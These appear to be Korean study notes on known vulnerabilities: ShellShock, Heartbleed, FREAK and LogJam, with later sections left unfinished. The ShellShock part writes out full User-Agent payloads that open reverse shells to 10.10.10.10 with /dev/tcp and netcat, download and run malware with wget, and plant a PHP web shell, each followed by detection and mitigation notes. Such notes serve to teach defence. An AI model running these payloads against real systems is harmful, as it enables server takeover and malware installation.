1. GNU Bash 취약점(ShellShock)
(1) 개요
(2) Bash 이해하기
1) 쉘 변수 선언
지역변수 (Local Variable) |
선언한 쉘 내에서만 사용가능한 변수 | 변수명='변수값' 형식으로 선언 변수값 참조할 경우에는 $변수명 형식을 사용 echo$$ : 현재 프로세스의 pid 확인하는 구문 set 명령은 모든변수 및 함수목록을 반환 unset 변수명을 통해 선언된 변수 제거가능 env 명령은 환경변수 및 함수목록을 반환 |
환경변수 (Environment Variable) |
선언한 쉘 뿐만 아니라 자식 쉘에서도 사용가능 | export 변수명='변수값' 형식으로 선언 (일반적으로 환경변수명은 대문자로 선언) set, env 사용가능 |
2) 쉘 함수 선언
- 함수 선언시 선언한 쉘 내에서만 호출가능 (fn() {값} 형식으로 선언)
- export fn() {값} 으로 환경변수에 함수 설정하여 자식 bash 프로세스에서 사용가능하게 할 수 있다.
- 자식 프로세스는 환경변수 중 함수 선언 문자열 () { 이 변수값에 설정되어 있으면 이를 함수로 선언
(3) GNU Bash 취약점
- 취약점이 발생하는 부분은 bash가 제공하는 함수선언기능이다.
- 취약한 버전의 bash는 환경변수의 함수 선언문 뒤에 임의의 명령어 삽입할 경우, 환경변수에 설정된 함수 선언시 함수 선언의 끝을 인지하지 못하고 삽입한 명령어까지 실행하는 취약점 존재
- ex) export fn='() { echo "Environment function"; };echo "command"'
(4) CGI를 이용한 Bash 취약점 공격유형
1) 공격원리
- CGI(Common Gateway Interface) : 웹서버에 요청된 페이지를 응용프로그램에 전달하고 처리하기 위한 인터페이스
- 쉘쇼크(ShellShock) 취약점에 의해 영향받는 대표적인 프로그램이 CGI이다. CGI는 User-Agent와 같은 요청헤더정보를 쉘의 환경변수에 저장하는데 공격자가 헤더정보에 함수와 명령어를 추가하여 전송하면 해당 명령어가 실행된다.
2) 리버스 쉘 연결 유형 (/dev/tcp 특수파일 이용)
- User-Agent : () { :; }; /bin/bash > /dev/tcp/10.10.10.10/8081 0<&1
- 공격자는 User-Agent 헤더필드에 () { :; } 함수문과 명령문 /bin/bash > /dev/tcp/10.10.10.10/8081 0<&1 을 삽입하여 해당 명령문이 실행되도록 하고 있다.
- /dev/tcp는 bash에서 지원하는 특수한 장치파일로 TCP 클라이언트 소켓을 생성하는 파일, 따라서 공격자로 추정되는 주소(10.10.10.10)의 리스닝 포트(8081)로 접속하는 TCP 클라이언트 소켓이 생성된다.
- 타겟 서버의 웹서버 엑세스 로그를 보면 User-Agent 필드에 공격자가 조작한 함수문 및 명령문 로그가 남아있다.
3) 리버스 쉘 연결 유형 (nc(netcat) 프로그램 이용)
- User-Agent : () { :; }; /usr/bin/nc 10.10.10.10 8081 -e /bin/sh
- 공격자는 User-Agent 헤더필드에 함수문 () { :; }과 명령문 /usr/bin/nc 10.10.10.10 8081 -e /bin/sh 을 삽입하여 해당 명령어가 실행되도록 하고 있다.
- nc 프로그램은 공격자(10.10.10.10 8081)와 리버스 쉘(-e /bin/sh)을 연결함
- 타겟 서버의 웹서버 엑세스 로그를 보면 User-Agent 필드에 공격자가 조작한 함수문 및 명령문 로그가 남아있다.
- 공격자(10.10.10.10)는 nc 프로그램을 이용하여 포트(8081)를 열어놓고 희생자 서버(10.10.10.20)에서 공격자로 리버스 쉘이 연결되도록 대기
- 연결 완료되면 공격자는 희생자 서버의 쉘 획득하고 원하는 시스템 명령을 실행가능
3) 악성코드 다운로드 유형
- User-Agent : () { :; }; /bin/bash -c "/usr/bin/wget -O /tmp/xyz http://10.10.10.10/malware; /bin/chmod 777 /tmp/xyz; /tmp/xyz; /bin/rm -rf /tmp/xyz"
- 공격자는 Accept-Encoding 헤더필드에 함수문 () { :; }과 명령문 /bin/bash -c "/usr/bin/wget -O /tmp/xyz http://10.10.10.10/malware; /bin/chmod 777 /tmp/xyz; /tmp/xyz; /bin/rm -rf /tmp/xyz" 삽입
- /bin/bash -c "문자열"은 문자열의 내용을 명령어로 해석하여 bash로 실행시키는 구문
- /usr/bin/wget -O /tmp/xyz http://10.10.10.10/malware는 악성코드 유포지로 의심되는 10.10.10.10 주소에 있는 악성코드를 wget 명령을 통해 다운받아 /tmp/xyz 파일로 저장(-O 옵션)한다.
- 다운받은 xyz 악성코드 실행 위해 chmod 명령을 통해 777 권한 부여
- 실행 후 xyz 악성코드 흔적 제거위해 rm -rf 명령으로 삭제
4) 웹쉘 생성 유형
- 공격자는 User-Agent 헤더필드에 함수문 () { :; }과 명령문 echo "<?\$cmd=\$_REQUEST[\"cmd\"]; if(\$cmd != \"\"){print shell_exec(\$cmd);} ?>" > ../html/x.php 삽입
- echo 명령의 문자열은 php 구문으로(?로 시작하여 ?로 끝남) 출력 리다이렉션을 통해 x.php라는 파일로 저장
- 공격자에 의해 생성된 x.php 파일은 php 구문으로 만들어진 웹쉘 파일로 외부에서 공격자가 cmd 파라미터에 명령어를 담아서 x.php 요청할 경우 cmd 파라미터에 값 있으면 shell_exec() 함수를 이용하여 명령어를 실행하고 그 결과를 출력하도록 한다.
- 웹서버 엑세스 로그를 보면 User-Agent 필드에 공격자가 조작한 함수문 및 명령문 로그가 남아있다.
- 웹서버 엑서스 로그의 URI 항목 살펴보면 공격자는 생성한 웹쉘을 이용하여 wget 명령을 통해 악성코드 유포지(10.10.10.10)에 있는 malware 파일을 다운로드 시도하였음을 알 수 있으며 200 응답코드를 통해 정상적으로 처리됨을 알 수 있다.
- 웹서버 엑시스 로그의 URI 항목을 살펴보면 chmod 777 하였고 다운로드한 악성코드 실행하였음을 알 수 있다.
(5) 대응방안
- 취약한 버전의 Bash 사용하는 경우, 최신버전으로 업데이트
- CGI 서비스 사용유무를 확인하여 해당 서비스를 사용하지 않는 경우 서비스 중지시키거나 삭제
- 네트워크 보안장비(IDS/IPS/웹방화벽)에서 공격 시그니처를 등록하여 차단
2. SSL/TLS 관련 취약점
(1) HeartBleed 취약점
1) 개요
- 통신구간 암호화를 위해 많이 사용하는 OpenSSL 라이브러리의 하트비트 확장 모듈의 버그로 인하여 발생한 취약점
- 서버에 저장된 중요 메모리 데이터가 노출
- CVE-2014-0160
2) 주요 내용
- 하트비트 확장모듈에서 클라이언트 하트비트 요청 메시지 처리할 때, 데이터 길이 검증을 수행하지 않아 시스템 메모리에 저장된 최대 64KB 크기의 데이터를 외부에서 아무런 제한없이 탈취할 수 있다.
- (전송) 공격자는 하트비트 패킷 헤더에서 페이로드 길이 필드를 조작하여 서버에 전송
- (응답) 서버는 공격자가 요청한 길이(최대 64KB)만큼 메모리에서 데이터를 추출하여 공격자에게 응답
3) 대응방안
- 취약점이 존재하지 않는 OpenSSL 버전으로 업데이트
- 서버측 SSL/TLS 개인키 유출 가능성 있으므로 인증서 재발급 검토
- 취약점에 대한 조치 완료 후 사용자들의 비밀번호 재설정을 유도하여 탈취된 계정 악용한 추가 피해 방지 고려
(2) 프리크(FREAK) 취약점
1) 개요
- 프랑스 국립 연구소(INRIA) 및 MS사에서 SSL을 통해 강제로 취약한 RSA로 다운그레이드 시킬 수 있는 취약점 발견
- CVE-2015-0204
2) 주요 내용
- SSL 통신시 중간자 공격(MITM)을 통해 취약한 export-grade의 RSA를 이용하게 하여 통신내용 유출 가능
- 서버 및 브라우저에서 RSA_EXPORT 기능을 제공하는 경우 이에 해당됨
3) 취약점 확인 방법
- openssl 툴 이용하여 EXPORT 버전의 cipher suite으로 대상 서버에 접속하여 협상 성공시 취약한 버전으로 판단
- openssl s_client -connect [대상도메인]:443 -cipher EXPORT 입력 후 alert handshake failure 확인시 취약점에 안전
4) 대응방안
- (서버 운영자) 취약점이 존재하지 않는 OpenSSL 버전으로 업데이트, 버전 업그레이드 어려울 경우, OpenSSL RSA_EXPORT cipher suite 비활성화
- (일반 사용자) 취약점에 영향 받는 OS 및 브라우저 업데이트
(3) 로그잼(LogJam) 취약점
1) 개요
- 중간자 공격(MITM)을 통해 사용자와 웹, 이메일 서버 간의 TLS 통신을 다운그레이드 시킬 수 있다.
- HTTPS 연결에서 OpenSSL을 포함하고 있는 SSL/TLS 클라이언트를 다운그레이드 시킬 수 있는 취약점
- TLS 프로토콜 취약점으로 공격자가 임시 Diffie-Hellman 키 교환을 사용하여 TLS 연결을 512비트 수출버전으로 암호화 다운그레이드 할 수 있다.
2) 주요 내용
- 공격자는 취야
3) 대응방안
3. NTP 분산 서비스 거부(DDoS) 취약점
4. SSDP 분산 서비스 거부(DDoS) 취약점